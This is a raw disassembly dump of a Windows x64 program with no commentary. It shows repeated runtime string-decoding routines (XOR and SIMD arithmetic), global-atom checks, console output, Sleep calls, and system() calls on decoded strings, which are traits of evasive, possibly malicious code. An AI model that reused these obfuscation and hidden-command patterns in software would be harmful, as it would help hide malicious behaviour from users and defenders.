xor byte [rsp + 0x78], 0x38
xor byte [rsp + 0x79], 0x39
xor al, 0x3a
mov byte [rsp + 0x7a], al
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
jmp 0x14078fd21
movups xmm0, xmmword [0x140826ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140826f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140826f30]
movups xmmword [rbp + 0x110], xmm0
movzx eax, byte [0x140826f40]
mov byte [rbp + 0x120], al
cmp r13d, 2
jl 0x14078fcca
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x14078fbc0
cmp ecx, 0x51
jge 0x14078fd0e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x51
jl 0x14078fce0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x14078fe23
cmp r13d, 2
jl 0x14078fde3
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14078fdf0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
movsd xmm0, qword [str.CA_RVR_R:]
movsd qword [rbp - 0x18], xmm0
movzx ecx, word [0x1408266b0]
mov word [rbp - 0x10], cx
movzx eax, byte [0x1408266b2]
mov byte [rbp - 0x18], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x17], 0x31
xor byte [rbp - 0x16], 0x32
xor byte [rbp - 0x15], 0x33
xor byte [rbp - 0x14], 0x34
xor byte [rbp - 0x13], 0x35
xor byte [rbp - 0x12], 0x36
xor byte [rbp - 0x11], 0x37
xor cl, 0x38
mov byte [rbp - 0x10], cl
xor byte [rbp - 0xf], 0x39
xor al, 0x3a
mov byte [rbp - 0xe], al
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
mov ecx, esi
test ax, ax
jne 0x1407903b8
movups xmm0, xmmword [str.SW__Q]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1408266c8]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x1408266d0]
mov byte [rbp + 0xe8], al
cmp r13d, 2
jl 0x14079000d
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14078ff03
cmp ecx, 0x19
jge 0x14079004e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x19
jl 0x140790020
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x140790153
cmp r13d, 2
jl 0x140790113
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x140790153
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140790120
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14084daa0]
call fcn.1407a0160
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.T__QY]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826940]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826950]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140826952]
mov byte [rbp + 0xf2], al
mov ecx, esi
cmp r13d, 2
jl 0x14079030a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140790200
cmp ecx, 0x23
jge 0x14079034e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140790320
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
movzx eax, word [0x1408266b0]
mov word [rbp - 0x78], ax
movsd xmm0, qword [str.CA_RVR_R:]
movzx eax, byte [0x1408266b2]
movsd qword [rbp - 0x80], xmm0
mov byte [rbp - 0x80], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x7f], 0x31
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
xor byte [rbp - 0x7c], 0x34
xor byte [rbp - 0x7b], 0x35
xor byte [rbp - 0x7a], 0x36
xor byte [rbp - 0x79], 0x37
xor byte [rbp - 0x78], 0x38
xor byte [rbp - 0x77], 0x39
xor al, 0x3a
mov byte [rbp - 0x76], al
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
jmp 0x1407905b1
movups xmm0, xmmword [0x140826ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140826f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140826f30]
movups xmmword [rbp + 0x110], xmm0
movzx eax, byte [0x140826f40]
mov byte [rbp + 0x120], al
cmp r13d, 2
jl 0x14079055a
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140790450
cmp ecx, 0x51
jge 0x14079059e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x51
jl 0x140790570
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x1407906b3
cmp r13d, 2
jl 0x140790673
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140790680
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
movsd xmm0, qword [str.CA_RVR_R:]
movsd qword [rbp - 8], xmm0
movzx ecx, word [0x1408266b0]
mov word [rbp], cx
movzx eax, byte [0x1408266b2]
mov byte [rbp - 8], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 7], 0x31
xor byte [rbp - 6], 0x32
xor byte [rbp - 5], 0x33
xor byte [rbp - 4], 0x34
xor byte [rbp - 3], 0x35
xor byte [rbp - 2], 0x36
xor byte [rbp - 1], 0x37
xor cl, 0x38
mov byte [rbp], cl
xor byte [rbp + 1], 0x39
xor al, 0x3a
mov byte [rbp + 2], al
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
mov ecx, esi
test ax, ax
jne 0x140790c48
movups xmm0, xmmword [str.SW__Q]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1408266c8]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x1408266d0]
mov byte [rbp + 0xe8], al
cmp r13d, 2
jl 0x14079089d
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140790793
cmp ecx, 0x19
jge 0x1407908de
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x19
jl 0x1407908b0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x1407909e3
cmp r13d, 2
jl 0x1407909a3
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x1407909e3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1407909b0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14084cf90]
call fcn.1407a0160
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.T__QY]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826940]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826950]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140826952]
mov byte [rbp + 0xf2], al
mov ecx, esi
cmp r13d, 2
jl 0x140790b9a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140790a90
cmp ecx, 0x23
jge 0x140790bde
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140790bb0
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
movzx eax, word [0x1408266b0]
mov word [rbp - 0x68], ax
movsd xmm0, qword [str.CA_RVR_R:]
movzx eax, byte [0x1408266b2]
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
xor byte [rbp - 0x6a], 0x36
xor byte [rbp - 0x69], 0x37
xor byte [rbp - 0x68], 0x38
xor byte [rbp - 0x67], 0x39
xor al, 0x3a
mov byte [rbp - 0x66], al
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
jmp 0x140790e41
movups xmm0, xmmword [0x140826ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140826f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140826f30]
movups xmmword [rbp + 0x110], xmm0
movzx eax, byte [0x140826f40]
mov byte [rbp + 0x120], al
cmp r13d, 2
jl 0x140790dea
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
